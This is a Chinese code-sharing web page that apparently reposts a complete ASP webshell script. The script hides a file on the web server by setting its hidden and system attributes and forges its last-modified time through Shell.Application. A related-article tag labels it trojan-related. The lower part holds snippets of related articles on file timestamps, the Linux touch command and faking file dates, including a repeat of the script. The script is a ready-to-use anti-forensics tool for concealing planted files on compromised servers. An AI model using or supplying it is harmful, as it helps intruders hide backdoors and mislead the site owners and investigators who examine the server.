隐藏修改文件时间和文件属性的ASP脚本

复制代码 代码如下:

<%

'隐藏并修改文件的最后修改时间的aspshell

'原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等;FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件

' 通过shell.application可以给文件重新设置一个最后修改时间

'2009/02/24 write by skyfire

response.write "<form method=post>"

response.write "路    径:<input name=path value='"&server.mappath("/")&"' size='30'>(一定要以\结尾)<br />"

response.write "文件名称:<input name=filename value='test.txt' size='30'><br />"

response.write "修改时间:<input name=time value='12/30/2099 12:30:30' size='30'><br />"

response.write "<input type=submit value=修改并隐藏文件>"

response.write "</form>"

'获取提交的参数

set path=request.Form("path")

set fileName=request.Form("filename")

set newTime=request.Form("time")

if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then

'通过fso设置文件属性

Set fso=Server.CreateObject("Scripting.FileSystemObject")

Set file=fso.getFile(path&fileName)

file.attributes=2+4 '设置文件属性为隐藏+系统

'通过shell.Application修改文件的最后修改时间

Set shell=Server.CreateObject("Shell.Application")

Set app_path=shell.NameSpace(server.mappath("."))

Set app_file=app_path.ParseName(fileName)

app_file.Modifydate=newTime

end if

%>

时间: 2024-10-25 07:43:12

隐藏修改文件时间和文件属性的ASP脚本的相关文章

隐藏修改文件时间和文件属性的ASP脚本_木马相关

复制代码 代码如下: <% '隐藏并修改文件的最后修改时间的aspshell '原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等:FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件 ' 通过shell.application可以给文件重新设置一个最后修改时间 '2009/02/24 write by skyfire response.write "<form method=post>" response.write "

linux中查看和修改文件时间的命令

linux下文件时间主要有下面三种: 1.1 modification time(mtime) 文件修改时间,即文件内容的修改时,更新这个时间,不包括文件权限和属性的修改.使用ls -l查看,默认显示时间为mtime $ ls -l uconv.h -rw-rw-r--  1 work work 1808 Jul 23  2013 uconv.h 1.2 status time(ctime) 文件状态status的修改时间,如文件的权限和属性修改时更新这个时间.使用 ls --time=ctim

用修改文件时间的方法来加密文件

谈到文件加密已经有很多方法了,但传统的文件型加密方法都存在一些不足.例如:让人头痛的密码技术.复杂的全文加/解 密算法.会产生垃圾文件的暗贴技术等等.这里我向大家介绍一种新的文件加密思路. 在Win 95/98中选定一个文件后单激鼠标右键可以查看文件的属性.其中会列出该文件的创建时间.修改时间和访问时间.这 些信息的设置一般都是由操作系统(也就是由Dos/Windows等等)自动完成的,不会让用户轻易修改.利用这一特性就可以实现 很隐蔽的加密技术. 加密原理 用特定的时间信息替换原来的文件时间信

asp 隐藏并修改文件的最后修改时间_应用技巧

源码: 复制代码 代码如下: <% '隐藏并修改文件的最后修改时间的aspshell '原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等:FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件 ' 通过shell.application可以给文件重新设置一个最后修改时间 '2009/02/24 write by skyfire response.write "<form method=post>" response.write &

asp 隐藏并修改文件的最后修改时间

源码: 复制代码 代码如下: <% '隐藏并修改文件的最后修改时间的aspshell '原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等:FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件 ' 通过shell.application可以给文件重新设置一个最后修改时间 '2009/02/24 write by skyfire response.write "<form method=post>" response.write &

用ASP+DLL实现WEB方式修改服务器时间

asp+|web|服务器  昨天一个朋友有个需求,是要通过WEB方式,修改IIS上的时间,由于他的系统是ASP3.0下开发的,所以本例子的代码是ASP的,不是ASP.NET,但是本人写这个文章是想抛砖引玉,毕竟编写程序关键的不是语言,更重要的是一种思想,把程序语言理解为一种工具,把编程思想理解为解决问题的思路和方法,那么编写出来的程序就是:利用"工具"按照解决问题的"思想"去解决一个问题. 首先,要感谢网友"小虎",我是在网上看了他写的一篇关于用

linux中如何使用touch修改文件的修改时间

rsync有时候因为服务器时间错了,需要更改文件的修改时间时间,可以使用 touch命令来修改文件的修改时间: 1 touch -c -m -t 201101110000 teadme.txt 修改readme.txt为2011年1月11日零时零分修改 如果批量修改文件和目录,则使用 1 find /home/www/site -exec touch -c -m -t 201101110000 {} \; 即可把/home/www/site下的所有文件和目录都改变修改时间. 注意上面命令中的空格

从修改文件的创建时间小谈软件开发人员与非软件开发人员的区别

 * 可能大部分人都认为,创建一个文件之后,创建时间是不可改的,就像在学校的时候老师检查电子文档作业一样,本来要求一个星期完成一个报告,最后老师发现交上来的文档创建时间就在一天前,那老师就有理由怀疑你这个是随便作假弄出来的.有时候在公司完成一些工作文档也差不多一样,你的上司很有可能会检查你文档的时间.这样一来,有些人就到网上找可以修改文件创建时间的工具软件,当然,可以找到,不过有时候要找很久而且不称心如意.  * 今天随手写了几行代码改文件的几个时间属性,非常容易,.Net 代码如下: var

文件夹创建时间可以修改吗 修改文件夹创建日期教程

系统时间修改法:这种文件修改法适用于个别文件日期的修改 1.首先我们先修改系统日期,点击右下角,然后点击"更改日期和时间设置" 2.在弹出的对话框中选择"更改日期和时间" 3.选择你需要修改的时间"点击确定"(今天的日期是2015.5.28我们选择实验日期是2015.3.3) 4.然后我们创建一个新的文件夹,然后我们将系统的时间改回来,大家可以看到这个文件夹的时间是2015.3.3